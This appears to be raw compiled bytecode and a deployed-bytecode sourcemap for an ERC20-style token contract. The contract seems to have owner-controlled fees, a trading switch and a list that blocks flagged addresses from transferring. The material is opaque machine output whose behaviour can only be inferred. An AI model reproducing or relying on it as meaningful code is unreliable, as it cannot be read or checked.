01612023565b838111156119125750506000910152565b602081526000825180602084015261206b816040850160208701612020565b601f01601f19169190910160400192915050565b6001600160a01b038116811461209457600080fd5b50565b80356112788161207f565b600080604083850312156120b557600080fd5b82356120c08161207f565b946020939093013593505050565b6000602082840312156120e057600080fd5b81356120eb8161207f565b9392505050565b60006020828403121561210457600080fd5b5035919050565b60008060006060848603121561212057600080fd5b833561212b8161207f565b9250602084013561213b8161207f565b929592945050506040919091013590565b6000806040838503121561215f57600080fd5b823561216a8161207f565b91506020830135801515811461217f57600080fd5b809150509250929050565b60008060006060848603121561219f57600080fd5b505081359360208301359350604090920135919050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156121df57600080fd5b82356001600160401b03808211156121f657600080fd5b818501915085601f83011261220a57600080fd5b81358181111561221c5761221c6121b6565b8060051b604051601f19603f83011681018181108582111715612241576122416121b6565b60405291825284820192508381018501918883111561225f57600080fd5b938501935b828510156122845761227585612097565b84529385019392850192612264565b98975050505050505050565b600080604083850312156122a357600080fd5b82356122ae8161207f565b9150602083013561217f8161207f565b600181811c908216806122d257607f821691505b602082108114156122f357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600082612334576123346122f9565b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156123815761238161230f565b500190565b634e487b7160e01b600052603260045260246000fd5b60006000198214156123b0576123b061230f565b5060010190565b60008160001904831182151516156123d1576123d161230f565b500290565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60008251612470818460208701612020565b9190910192915050565b600082612489576124896122f9565b500690565b6000828210156124a0576124a061230f565b500390565b6000602082840312156124b757600080fd5b81516120eb8161207f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156125125784516001600160a01b0316835293830193918301916001016124ed565b50506001600160a01b0396909616606085015250505060800152939250505056fe8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0a2646970667358221220a480f66434725d663ef34a0f582f0affadfa69adf801503ce2ec08ceea340dec64736f6c634300080c0033

Deployed Bytecode Sourcemap

6527:12701:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1168:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1508:150;;;;;;;;;;-1:-1:-1;1508:150:0;;;;;:::i;:::-;;:::i;:::-;;;1425:14:1;;1418:22;1400:41;;1388:2;1373:18;1508:150:0;1260:187:1;7812:64:0;;;;;;;;;;-1:-1:-1;7812:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6572:41;;;;;;;;;;-1:-1:-1;6572:41:0;;;;-1:-1:-1;;;;;6572:41:0;;;;;;-1:-1:-1;;;;;1894:32:1;;;1876:51;;1864:2;1849:18;6572:41:0;1704:229:1;1091:26:0;;;;;;;;;;;;;;;;;;;2084:25:1;;;2072:2;2057:18;1091:26:0;1938:177:1;7591:33:0;;;;;;;;;;;;;;;;7551;;;;;;;;;;;;;;;;11541:253;;;;;;;;;;-1:-1:-1;11541:253:0;;;;;:::i;:::-;;:::i;:::-;;1666:469;;;;;;;;;;-1:-1:-1;1666:469:0;;;;;:::i;:::-;;:::i;18605:88::-;;;;;;;;;;-1:-1:-1;18605:88:0;;;;;:::i;:::-;;:::i;1126:35::-;;;;;;;;;;;;1159:2;1126:35;;;;;2938:4:1;2926:17;;;2908:36;;2896:2;2881:18;1126:35:0;2766:184:1;2143:209:0;;;;;;;;;;-1:-1:-1;2143:209:0;;;;;:::i;:::-;;:::i;6620:28::-;;;;;;;;;;-1:-1:-1;6620:28:0;;;;-1:-1:-1;;;;;6620:28:0;;;6884:33;;;;;;;;;;-1:-1:-1;6884:33:0;;;;;;;;13583:125;;;;;;;;;;-1:-1:-1;13583:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;13672:28:0;13648:4;13672:28;;;:19;:28;;;;;;;;;13583:125;7402:28;;;;;;;;;;;;;;;;6964:31;;;;;;;;;;-1:-1:-1;6964:31:0;;;;;;;;;;;967:44;;;;;;;;;;-1:-1:-1;967:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;5620:148;;;;;;;;;;;;;:::i;10960:121::-;;;;;;;;;;;;;:::i;11802:144::-;;;;;;;;;;-1:-1:-1;11802:144:0;;;;;:::i;:::-;;:::i;6716:30::-;;;;;;;;;;-1:-1:-1;6716:30:0;;;;-1:-1:-1;;;;;6716:30:0;;;7291;;;;;;;;;;;;;;;;11958:369;;;;;;;;;;-1:-1:-1;11958:369:0;;;;;:::i;:::-;;:::i;18912:311::-;;;;;;;;;;-1:-1:-1;18912:311:0;;;;;:::i;:::-;;:::i;4980:79::-;;;;;;;;;;;;;:::i;7437:31::-;;;;;;;;;;;;;;;;1193:20;;;;;;;;;;;;;:::i;12915:244::-;;;;;;;;;;-1:-1:-1;12915:244:0;;;;;:::i;:::-;;:::i;7365:24::-;;;;;;;;;;;;;;;;7631:27;;;;;;;;;;;;;;;;7513:25;;;;;;;;;;;;;;;;2360:407;;;;;;;;;;-1:-1:-1;2360:407:0;;;;;:::i;:::-;;:::i;1344:156::-;;;;;;;;;;-1:-1:-1;1344:156:0;;;;;:::i;:::-;;:::i;6801:30::-;;;;;;;;;;;;;;;;13363:208;;;;;;;;;;-1:-1:-1;13363:208:0;;;;;:::i;:::-;;:::i;18429:164::-;;;;;;;;;;-1:-1:-1;18429:164:0;;;;;:::i;:::-;;:::i;8034:58::-;;;;;;;;;;-1:-1:-1;8034:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6924:33;;;;;;;;;;-1:-1:-1;6924:33:0;;;;;;;;;;;12725:182;;;;;;;;;;-1:-1:-1;12725:182:0;;;;;:::i;:::-;;:::i;12339:378::-;;;;;;;;;;-1:-1:-1;12339:378:0;;;;;:::i;:::-;;:::i;6759:35::-;;;;;;;;;;;;;;;;11152:377;;;;;;;;;;-1:-1:-1;11152:377:0;;;;;:::i;:::-;;:::i;7257:27::-;;;;;;;;;;;;;;;;1018:64;;;;;;;;;;-1:-1:-1;1018:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;6838:33;;;;;;;;;;;;;;;;7328:30;;;;;;;;;;;;;;;;5923:244;;;;;;;;;;-1:-1:-1;5923:244:0;;;;;:::i;:::-;;:::i;7475:31::-;;;;;;;;;;;;;;;;1168:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;1508:150::-;1574:4;1591:37;1600:10;1612:7;1621:6;1591:8;:37::i;:::-;-1:-1:-1;1646:4:0;1508:150;;;;:::o;11541:253::-;11627:15;;-1:-1:-1;;;;;11627:15:0;11613:10;:29;11605:38;;;;;;11690:4;11676:11;;:18;;;;:::i;:::-;11666:6;:28;;11658:88;;;;-1:-1:-1;;;11658:88:0;;6532:2:1;11658:88:0;;;6514:21:1;6571:2;6551:18;;;6544:30;6610:34;6590:18;;;6583:62;-1:-1:-1;;;6661:18:1;;;6654:45;6716:19;;11658:88:0;;;;;;;;;11757:20;:29;11541:253::o;1666:469::-;1789:4;1806:36;1816:6;1824:9;1835:6;1806:9;:36::i;:::-;-1:-1:-1;;;;;1882:17:0;;1855:24;1882:17;;;:9;:17;;;;;;;;1900:10;1882:29;;;;;;;;1930:26;;;;1922:79;;;;-1:-1:-1;;;1922:79:0;;6948:2:1;1922:79:0;;;6930:21:1;6987:2;6967:18;;;6960:30;7026:34;7006:18;;;6999:62;-1:-1:-1;;;7077:18:1;;;7070:38;7125:19;;1922:79:0;6746:404:1;1922:79:0;2037:55;2046:6;2054:10;2085:6;2066:16;:25;2037:8;:55::i;:::-;-1:-1:-1;2123:4:0;;1666:469;-1:-1:-1;;;;1666:469:0:o;18605:88::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18665:12:0::1;18680:5;18665:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;18665:20:0::1;::::0;;18605:88::o;2143:209::-;2257:10;2231:4;2278:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2278:30:0;;;;;;;;;;2231:4;;2248:74;;2269:7;;2278:43;;2311:10;;2278:43;:::i;:::-;2248:8;:74::i;5620:148::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;5711:6:::1;::::0;5690:40:::1;::::0;5727:1:::1;::::0;-1:-1:-1;;;;;5711:6:0::1;::::0;-1:-1:-1;;;;;;;;;;;5690:40:0;5727:1;;5690:40:::1;5741:6;:19:::0;;-1:-1:-1;;;;;;5741:19:0::1;::::0;;5620:148::o;10960:121::-;5192:6;;11012:4;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;-1:-1:-1;11029:14:0::1;:22:::0;;-1:-1:-1;;11029:22:0::1;::::0;;;10960:121;:::o;11802:144::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11892:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;11892:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11802:144::o;11958:369::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;12074:15:::1;:31:::0;;;12116:15:::1;:31:::0;;;12158:9:::1;:19:::0;;;12170:7;12203:33:::1;12134:13:::0;12092;12203:33:::1;:::i;:::-;:45;;;;:::i;:::-;12188:12;:60:::0;;;12283:2:::1;-1:-1:-1::0;12267:18:0::1;12259:60;;;::::0;-1:-1:-1;;;12259:60:0;;7851:2:1;12259:60:0::1;::::0;::::1;7833:21:1::0;7890:2;7870:18;;;7863:30;7929:31;7909:18;;;7902:59;7978:18;;12259:60:0::1;7649:353:1::0;12259:60:0::1;11958:369:::0;;;:::o;18912:311::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;19007:1:::1;18994:9;:14;;18986:45;;;::::0;-1:-1:-1;;;18986:45:0;;8209:2:1;18986:45:0::1;::::0;::::1;8191:21:1::0;8248:2;8228:18;;;8221:30;-1:-1:-1;;;8267:18:1;;;8260:48;8325:18;;18986:45:0::1;8007:342:1::0;18986:45:0::1;19042:11;:18:::0;;-1:-1:-1;;19042:18:0::1;::::0;::::1;::::0;;19079:11:::1;::::0;19042:18:::1;19079:11;:19;;19056:4;19079:19;19071:36;;;;-1:-1:-1::0;;;19071:36:0::1;;;;;;8556:2:1::0;8538:21;;;8595:1;8575:18;;;8568:29;-1:-1:-1;;;8628:2:1;8613:18;;8606:34;8672:2;8657:18;;8354:327;19071:36:0::1;19118:11;:19:::0;;-1:-1:-1;;19118:19:0::1;::::0;;19148:22:::1;19160:9:::0;18774:12;18760:11;:26;18797:10;:22;18830:13;:20;;-1:-1:-1;;18830:20:0;;;;;18701:157;19148:22:::1;19203:11;::::0;19186:29:::1;::::0;19203:11:::1;::::0;;::::1;1425:14:1::0;1418:22;1400:41;;19186:29:0::1;::::0;1388:2:1;1373:18;19186:29:0::1;;;;;;;18912:311:::0;:::o;4980:79::-;5045:6;;-1:-1:-1;;;;;5045:6:0;;4980:79::o;1193:20::-;;;;;;;:::i;12915:244::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;13022:13:::1;::::0;-1:-1:-1;;;;;13014:21:0;;::::1;13022:13:::0;::::1;13014:21;;13006:91;;;::::0;-1:-1:-1;;;13006:91:0;;8888:2:1;13006:91:0::1;::::0;::::1;8870:21:1::0;8927:2;8907:18;;;8900:30;8966:34;8946:18;;;8939:62;-1:-1:-1;;;9017:18:1;;;9010:55;9082:19;;13006:91:0::1;8686:421:1::0;13006:91:0::1;13110:41;13139:4;13145:5;13110:28;:41::i;:::-;12915:244:::0;;:::o;2360:407::-;2507:10;2453:4;2497:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2497:30:0;;;;;;;;;;2546:35;;;;2538:85;;;;-1:-1:-1;;;2538:85:0;;9314:2:1;2538:85:0;;;9296:21:1;9353:2;9333:18;;;9326:30;9392:34;9372:18;;;9365:62;-1:-1:-1;;;9443:18:1;;;9436:35;9488:19;;2538:85:0;9112:401:1;2538:85:0;2659:65;2668:10;2680:7;2708:15;2689:16;:34;2659:8;:65::i;:::-;-1:-1:-1;2755:4:0;;2360:407;-1:-1:-1;;;2360:407:0:o;1344:156::-;1413:4;1430:40;1440:10;1452:9;1463:6;1430:9;:40::i;13363:208::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;13500:15:::1;::::0;13457:59:::1;::::0;-1:-1:-1;;;;;13500:15:0;;::::1;::::0;13457:59;::::1;::::0;::::1;::::0;13500:15:::1;::::0;13457:59:::1;13527:15;:36:::0;;-1:-1:-1;;;;;;13527:36:0::1;-1:-1:-1::0;;;;;13527:36:0;;;::::1;::::0;;;::::1;::::0;;13363:208::o;18429:164::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;18503:6:::1;18498:88;18519:5;:12;18515:1;:16;18498:88;;;18570:4;18553;:14;18558:5;18564:1;18558:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;18553:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;18553:14:0;:21;;-1:-1:-1;;18553:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18533:3;::::1;::::0;::::1;:::i;:::-;;;;18498:88;;12725:182:::0;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12810:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;:39;;-1:-1:-1;;12810:39:0::1;::::0;::::1;;;::::0;;12865:34;::::1;::::0;::::1;::::0;12810:39;1425:14:1;1418:22;1400:41;;1388:2;1373:18;;1260:187;12865:34:0::1;;;;;;;;12725:182:::0;;:::o;12339:378::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;12456:16:::1;:32:::0;;;12499:16:::1;:32:::0;;;12542:10:::1;:20:::0;;;12555:7;12589:35:::1;12518:13:::0;12475;12589:35:::1;:::i;:::-;:48;;;;:::i;:::-;12573:13;:64:::0;;;12673:2:::1;-1:-1:-1::0;12656:19:0::1;12648:61;;;::::0;-1:-1:-1;;;12648:61:0;;9992:2:1;12648:61:0::1;::::0;::::1;9974:21:1::0;10031:2;10011:18;;;10004:30;10070:31;10050:18;;;10043:59;10119:18;;12648:61:0::1;9790:353:1::0;11152:377:0;5192:6;;11233:4;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;11287:6:::1;11269:11;;11283:1;11269:15;;;;:::i;:::-;:24;;;;:::i;:::-;11256:9;:37;;11248:103;;;::::0;-1:-1:-1;;;11248:103:0;;10523:2:1;11248:103:0::1;::::0;::::1;10505:21:1::0;10562:2;10542:18;;;10535:30;10601:34;10581:18;;;10574:62;-1:-1:-1;;;10652:18:1;;;10645:51;10713:19;;11248:103:0::1;10321:417:1::0;11248:103:0::1;11400:4;11382:11;;11396:1;11382:15;;;;:::i;:::-;:22;;;;:::i;:::-;11369:9;:35;;11361:100;;;::::0;-1:-1:-1;;;11361:100:0;;10945:2:1;11361:100:0::1;::::0;::::1;10927:21:1::0;10984:2;10964:18;;;10957:30;11023:34;11003:18;;;10996:62;-1:-1:-1;;;11074:18:1;;;11067:50;11134:19;;11361:100:0::1;10743:416:1::0;11361:100:0::1;-1:-1:-1::0;11471:18:0::1;:30:::0;;;11518:4:::1;5260:1;11152:377:::0;;;:::o;5923:244::-;5192:6;;-1:-1:-1;;;;;5192:6:0;5202:10;5192:20;5184:65;;;;-1:-1:-1;;;5184:65:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6012:22:0;::::1;6004:73;;;::::0;-1:-1:-1;;;6004:73:0;;11366:2:1;6004:73:0::1;::::0;::::1;11348:21:1::0;11405:2;11385:18;;;11378:30;11444:34;11424:18;;;11417:62;-1:-1:-1;;;11495:18:1;;;11488:36;11541:19;;6004:73:0::1;11164:402:1::0;6004:73:0::1;6114:6;::::0;6093:38:::1;::::0;-1:-1:-1;;;;;6093:38:0;;::::1;::::0;6114:6:::1;::::0;-1:-1:-1;;;;;;;;;;;6093:38:0;6114:6:::1;::::0;6093:38:::1;6142:6;:17:::0;;-1:-1:-1;;;;;;6142:17:0::1;-1:-1:-1::0;;;;;6142:17:0;;;::::1;::::0;;;::::1;::::0;;5923:244::o;4155:378::-;-1:-1:-1;;;;;4291:19:0;;4283:68;;;;-1:-1:-1;;;4283:68:0;;11773:2:1;4283:68:0;;;11755:21:1;11812:2;11792:18;;;11785:30;11851:34;11831:18;;;11824:62;-1:-1:-1;;;11902:18:1;;;11895:34;11946:19;;4283:68:0;11571:400:1;4283:68:0;-1:-1:-1;;;;;4370:21:0;;4362:68;;;;-1:-1:-1;;;4362:68:0;;12178:2:1;4362:68:0;;;12160:21:1;12217:2;12197:18;;;12190:30;12256:34;12236:18;;;12229:62;-1:-1:-1;;;12307:18:1;;;12300:32;12349:19;;4362:68:0;11976:398:1;4362:68:0;-1:-1:-1;;;;;4443:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;4493:32;;2084:25:1;;;4493:32:0;;2057:18:1;4493:32:0;;;;;;;4155:378;;;:::o;13720:3804::-;-1:-1:-1;;;;;13852:18:0;;13844:68;;;;-1:-1:-1;;;13844:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13931:16:0;;13923:64;;;;-1:-1:-1;;;13923:64:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14007:10:0;;;;;;:4;:10;;;;;;;;14006:11;:24;;;;-1:-1:-1;;;;;;14022:8:0;;;;;;:4;:8;;;;;;;;14021:9;14006:24;13998:33;;;;;;14048:11;14045:92;;14076:28;14092:4;14098:2;14102:1;14076:15;:28::i;14045:92::-;14160:14;;;;14157:997;;;14220:7;:5;:7::i;:::-;-1:-1:-1;;;;;14212:15:0;:4;-1:-1:-1;;;;;14212:15:0;;;:49;;;;;14254:7;:5;:7::i;:::-;-1:-1:-1;;;;;14248:13:0;:2;-1:-1:-1;;;;;14248:13:0;;;14212:49;:86;;;;-1:-1:-1;;;;;;14282:16:0;;;;14212:86;:128;;;;-1:-1:-1;;;;;;14319:21:0;;14333:6;14319:21;;14212:128;:158;;;;-1:-1:-1;14362:8:0;;-1:-1:-1;;;14362:8:0;;;;14361:9;14212:158;14190:953;;;14408:13;;;;;;;14404:148;;-1:-1:-1;;;;;14453:25:0;;;;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;14482:23:0;;;;;;:19;:23;;;;;;;;14453:52;14445:87;;;;-1:-1:-1;;;14445:87:0;;13391:2:1;14445:87:0;;;13373:21:1;13430:2;13410:18;;;13403:30;-1:-1:-1;;;13449:18:1;;;13442:52;13511:18;;14445:87:0;13189:346:1;14445:87:0;-1:-1:-1;;;;;14621:31:0;;;;;;:25;:31;;;;;;;;:71;;;;-1:-1:-1;;;;;;14657:35:0;;;;;;:31;:35;;;;;;;;14656:36;14621:71;14617:511;;;14739:20;;14729:6;:30;;14721:96;;;;-1:-1:-1;;;14721:96:0;;13742:2:1;14721:96:0;;;13724:21:1;13781:2;13761:18;;;13754:30;13820:34;13800:18;;;13793:62;-1:-1:-1;;;13871:18:1;;;13864:51;13932:19;;14721:96:0;13540:417:1;14721:96:0;14617:511;;;-1:-1:-1;;;;;14911:29:0;;;;;;:25;:29;;;;;;;;:71;;;;-1:-1:-1;;;;;;14945:37:0;;;;;;:31;:37;;;;;;;;14944:38;14911:71;14907:221;;;15029:20;;15019:6;:30;;15011:97;;;;-1:-1:-1;;;15011:97:0;;14164:2:1;15011:97:0;;;14146:21:1;14203:2;14183:18;;;14176:30;14242:34;14222:18;;;14215:62;-1:-1:-1;;;14293:18:1;;;14286:52;14355:19;;15011:97:0;13962:418:1;15011:97:0;15178:15;;-1:-1:-1;;;;;15170:23:0;;;15178:15;;15170:23;:43;;;;-1:-1:-1;;;;;;15197:16:0;;15211:1;15197:16;15170:43;15166:402;;;15257:10;15261:6;15257:1;:10;:::i;:::-;15248:4;15230:9;:24;;;;;;;;;;;:37;;;;15292:8;-1:-1:-1;;;;;15282:19:0;;;;;;;15304:1;15282:23;;15352:42;;;;;;;;;;;;;;;-1:-1:-1;;;;;15352:42:0;-1:-1:-1;;;;;;15352:42:0;;;15338:57;;15230:9;;15282:19;15338:57;;15352:42;15338:57;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15320:75;;;15414:7;15410:126;;;15467:15;;15442:41;;15459:6;;-1:-1:-1;;;;;15467:15:0;15442:16;:41::i;:::-;15410:126;;;15507:26;;-1:-1:-1;;;15507:26:0;;14866:2:1;15507:26:0;;;14848:21:1;14905:2;14885:18;;;14878:30;-1:-1:-1;;;14924:18:1;;;14917:46;14980:18;;15507:26:0;14664:340:1;15410:126:0;15550:7;13720:3804;;;:::o;15166:402::-;15631:4;15582:28;15613:24;;;;;;;;;;;15697:18;;15673:42;;;;;;;15746:35;;-1:-1:-1;15770:11:0;;;;;;;15746:35;:61;;;;-1:-1:-1;15799:8:0;;-1:-1:-1;;;15799:8:0;;;;15798:9;15746:61;:110;;;;-1:-1:-1;;;;;;15825:31:0;;;;;;:25;:31;;;;;;;;15824:32;15746:110;:153;;;;-1:-1:-1;;;;;;15874:25:0;;;;;;:19;:25;;;;;;;;15873:26;15746:153;:194;;;;-1:-1:-1;;;;;;15917:23:0;;;;;;:19;:23;;;;;;;;15916:24;15746:194;15728:338;;;15967:8;:15;;-1:-1:-1;;;;15967:15:0;-1:-1:-1;;;15967:15:0;;;16011:10;:8;:10::i;:::-;16038:8;:16;;-1:-1:-1;;;;16038:16:0;;;15728:338;16094:8;;-1:-1:-1;;;;;16203:25:0;;16078:12;16203:25;;;:19;:25;;;;;;16094:8;-1:-1:-1;;;16094:8:0;;;;;16093:9;;16203:25;;:52;;-1:-1:-1;;;;;;16232:23:0;;;;;;:19;:23;;;;;;;;16203:52;16200:99;;;-1:-1:-1;16282:5:0;16200:99;16319:12;16423:7;16420:1051;;;-1:-1:-1;;;;;16474:29:0;;;;;;:25;:29;;;;;;;;:50;;;;;16523:1;16507:13;;:17;16474:50;16470:836;;;16576:3;16560:13;;16551:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;16544:35;;16646:13;;16627:16;;16620:4;:23;;;;:::i;:::-;:39;;;;:::i;:::-;16598:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;16714:13:0;;16701:10;;16694:17;;:4;:17;:::i;:::-;:33;;;;:::i;:::-;16678:12;;:49;;;;;;;:::i;:::-;;;;-1:-1:-1;;16794:13:0;;16775:16;;16768:23;;:4;:23;:::i;:::-;:39;;;;:::i;:::-;16746:18;;:61;;;;;;;:::i;:::-;;;;-1:-1:-1;;16830:20:0;;:24;;16853:1;;16830:24;:::i;:::-;:29;16826:81;;16861:46;;-1:-1:-1;;;16861:46:0;;15328:2:1;16861:46:0;;;15310:21:1;15367:2;15347:18;;;15340:30;15406:34;15386:18;;;15379:62;-1:-1:-1;;;15457:18:1;;;15450:34;15501:19;;16861:46:0;15126:400:1;16826:81:0;16470:836;;;-1:-1:-1;;;;;16968:31:0;;;;;;:25;:31;;;;;;;;:51;;;;;17018:1;17003:12;;:16;16968:51;16965:341;;;17068:3;17053:12;;17044:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;17037:34;;17134:12;;17116:15;;17109:4;:22;;;;:::i;:::-;:37;;;;:::i;:::-;17087:18;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;17200:12:0;;17188:9;;17181:16;;:4;:16;:::i;:::-;:31;;;;:::i;:::-;17165:12;;:47;;;;;;;:::i;:::-;;;;-1:-1:-1;;17278:12:0;;17260:15;;17253:22;;:4;:22;:::i;:::-;:37;;;;:::i;:::-;17231:18;;:59;;;;;;;:::i;:::-;;;;-1:-1:-1;;16965:341:0;17337:8;;17334:89;;17365:42;17381:4;17395;17402;17365:15;:42::i;:::-;17445:14;17455:4;17445:14;;:::i;:::-;;;16420:1051;17483:33;17499:4;17505:2;17509:6;17483:15;:33::i;:::-;13833:3691;;;;13720:3804;;;:::o;13167:188::-;-1:-1:-1;;;;;13250:31:0;;;;;;:25;:31;;;;;;:39;;-1:-1:-1;;13250:39:0;;;;;;;;;;13307:40;;13250:39;;:31;13307:40;;;13167:188;;:::o;2775:614::-;-1:-1:-1;;;;;2915:20:0;;2907:70;;;;-1:-1:-1;;;2907:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2996:23:0;;2988:71;;;;-1:-1:-1;;;2988:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3096:17:0;;3072:21;3096:17;;;;;;;;;;;3132:23;;;;3124:74;;;;-1:-1:-1;;;3124:74:0;;15863:2:1;3124:74:0;;;15845:21:1;15902:2;15882:18;;;15875:30;15941:34;15921:18;;;15914:62;-1:-1:-1;;;15992:18:1;;;15985:36;16038:19;;3124:74:0;15661:402:1;3124:74:0;-1:-1:-1;;;;;3234:17:0;;;:9;:17;;;;;;;;;;;3254:22;;;3234:42;;3298:20;;;;;;;;:30;;3270:6;;3234:9;3298:30;;3270:6;;3298:30;:::i;:::-;;;;;;;;3363:9;-1:-1:-1;;;;;3346:35:0;3355:6;-1:-1:-1;;;;;3346:35:0;;3374:6;3346:35;;;;2084:25:1;;2072:2;2057:18;;1938:177;3346:35:0;;;;;;;;2896:493;2775:614;;;:::o;17532:602::-;17696:16;;;17710:1;17696:16;;;;;;;;17672:21;;17696:16;;;;;;;;;;-1:-1:-1;17696:16:0;17672:40;;17741:4;17723;17728:1;17723:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17723:23:0;;;:7;;;;;;;;;;:23;;;;17767:15;;:22;;;-1:-1:-1;;;17767:22:0;;;;:15;;;;;:20;;:22;;;;;17723:7;;17767:22;;;;;:15;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17757:4;17762:1;17757:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;17757:32:0;;;:7;;;;;;;;;:32;17834:15;;17802:62;;17819:4;;17834:15;17852:11;17802:8;:62::i;:::-;17903:15;;:213;;-1:-1:-1;;;17903:213:0;;-1:-1:-1;;;;;17903:15:0;;;;:66;;:213;;17984:11;;17903:15;;18054:4;;18073:2;;18090:15;;17903:213;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18142:279;18225:4;18181:23;18207:24;;;;;;;;;;;;18267:48;;18207:24;;18267:16;:48::i;:::-;18358:15;;18350:63;;-1:-1:-1;;;;;18358:15:0;;;;18387:21;;18350:63;;;;18387:21;18358:15;18350:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18142:279:0:o;14:258:1:-;86:1;96:113;110:6;107:1;104:13;96:113;;;186:11;;;180:18;167:11;;;160:39;132:2;125:10;96:113;;;227:6;224:1;221:13;218:48;;;-1:-1:-1;;262:1:1;244:16;;237:27;14:258::o;277:383::-;426:2;415:9;408:21;389:4;458:6;452:13;501:6;496:2;485:9;481:18;474:34;517:66;576:6;571:2;560:9;556:18;551:2;543:6;539:15;517:66;:::i;:::-;644:2;623:15;-1:-1:-1;;619:29:1;604:45;;;;651:2;600:54;;277:383;-1:-1:-1;;277:383:1:o;665:131::-;-1:-1:-1;;;;;740:31:1;;730:42;;720:70;;786:1;783;776:12;720:70;665:131;:::o;801:134::-;869:20;;898:31;869:20;898:31;:::i;940:315::-;1008:6;1016;1069:2;1057:9;1048:7;1044:23;1040:32;1037:52;;;1085:1;1082;1075:12;1037:52;1124:9;1111:23;1143:31;1168:5;1143:31;:::i;:::-;1193:5;1245:2;1230:18;;;;1217:32;;-1:-1:-1;;;940:315:1:o;1452:247::-;1511:6;1564:2;1552:9;1543:7;1539:23;1535:32;1532:52;;;1580:1;1577;1570